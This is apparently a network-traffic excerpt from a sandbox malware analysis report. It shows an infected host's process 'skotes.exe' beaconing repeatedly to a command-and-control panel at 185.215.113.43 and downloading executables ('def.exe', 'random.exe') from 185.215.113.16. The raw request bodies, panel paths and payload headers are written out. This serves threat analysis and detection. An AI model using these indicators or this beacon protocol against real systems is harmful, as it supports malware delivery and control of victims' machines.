Dec 19, 2024 08:10:59.692748070 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:11:01.557813883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	50159	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:01.518892050 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:11:02.840576887 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:02 GMT Content-Type: application/octet-stream Content-Length: 1733632 Last-Modified: Thu, 19 Dec 2024 06:18:47 GMT Connection: keep-alive ETag: "6763bac7-1a7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 45 00 00 04 00 00 48 8f 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$E `@ @EH`Ui`D @ @.rsrcD`2@.idata 6@ 8@pwjairst :@lcewkiss DL@.taggant@E"R@
Dec 19, 2024 08:11:02.840595961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:11:02.840605021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:11:02.840701103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:11:02.840749979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:11:02.840761900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:11:02.840774059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:11:02.841037035 CET	1236	IN	Data Raw: a0 7c d7 99 a7 17 d8 d2 3e 28 d6 5a 2e fe b3 08 a3 d3 cd f8 dd 31 ba 38 f3 6e 9c db 74 d1 2c ed c6 e0 82 7c 79 ef 6d b8 96 a7 93 02 4a 35 48 d8 0d 6d f8 08 d2 62 db 44 3c 2f d5 46 0c 65 1f ee 09 7a e8 98 a7 63 e4 a0 e3 5e f7 42 32 58 d5 69 01 7f Data Ascii: \|>(Z.18nt,\|ymJ5HmbD</Fezc^B2XiR9wr`E&{;\|KX-^0c(e\P&rqF%*;[<1bo2F4sr$s}:)zlX=^odZBL>d82tz
Dec 19, 2024 08:11:02.841048002 CET	1236	IN	Data Raw: 93 7b fe a2 6b 7b f2 fe a2 88 76 02 25 40 fc 8b fd 48 e8 06 b0 31 9a fb ed e3 92 92 0b 20 e2 99 fd 48 a2 f8 9f 00 a6 9f 9a 71 64 1a 0b 7b be 98 fd 1c fe ca af 24 ce 0c da d7 c8 c6 03 40 5a e3 ad 3f 82 66 24 fc eb 10 0b e0 0a 9a bd 4f 62 6a b5 b8 Data Ascii: {k{v%@H1 Hqd{$@Z?f$ObjzArXfXR}{\#8ri5*-I"H&D:c:MCG$2hJTBQXiX\|Hb-Ihrl{C)t'Tg\7 +$H1Ydp 0281T
Dec 19, 2024 08:11:02.841058969 CET	1236	IN	Data Raw: ca 5a e7 93 b1 38 fe ef ce 03 2e 98 36 84 ed 8d 38 71 00 cb fb 6b 92 33 27 16 ad bb d8 98 c3 3c e1 43 ac c9 39 f7 a0 dd 8c 15 43 ef 1d 52 a3 23 cd 60 c2 a8 2b 01 6f be 0d 70 5c be dc 11 ce 67 b5 6b ca 0b 10 15 b2 91 3a aa 82 99 c3 cb 07 6f 7e 86 Data Ascii: Z8.68qk3'<C9CR#`+op\gk:o~x3\Jn,Ev=%3kUBBJg=jEoj0jEh~z.OB{X^396++r~?; {LwP+
Dec 19, 2024 08:11:02.961185932 CET	1236	IN	Data Raw: 43 23 37 36 15 54 dd e6 19 d8 d3 dd 60 74 a0 f9 29 6b ec 59 29 54 be ea 2c 4a 4a b2 2a 63 39 09 2a 64 b4 94 fc 4f 90 2f ae 97 49 c3 c8 a1 fb 8b 02 be c6 9d ca 02 f6 da fd 72 f0 ad e3 0f ca 94 33 1d b8 9f d9 11 bf 4b 7d 5b d9 29 6d 05 cd 5f dd 98 Data Ascii: C#76T`t)kY)T,JJc9dO/Ir3K}[)m_#3yq/B>.P"^w@(5"2dE3'F%z@<7hKC$'%HQD;~{!})!(7?b%\]E:j
Dec 19, 2024 08:11:06.035341978 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:11:06.472716093 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:05 GMT Content-Type: application/octet-stream Content-Length: 2869248 Last-Modified: Thu, 19 Dec 2024 06:20:24 GMT Connection: keep-alive ETag: "6763bb28-2bc800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 6a 26 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@0Oj&,@M$a$$ $h@.rsrc$x@.idata $z@oiorywlp0$&\|@yzgbcaqsN+@.taggant0O"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50160	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:03.327790976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:11:04.649121046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50161	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:06.364798069 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:11:07.674246073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50162	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:09.791317940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:11:11.129204035 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50165	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:12.790433884 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:11:15.616125107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50181	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:17.626319885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:11:18.966073990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50195	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:20.613193989 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:11:21.967700005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50196	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:23.712107897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:11:25.041650057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50197	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:26.675332069 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:11:28.196449995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50199	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:29.959610939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:11:31.300539970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50200	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:32.945734024 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:11:34.509691000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50201	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:36.282108068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:11:37.628160954 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50203	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:39.268353939 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:11:40.607161999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50206	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:42.375441074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:11:43.704552889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50209	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:45.348146915 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:11:46.684650898 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50217	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
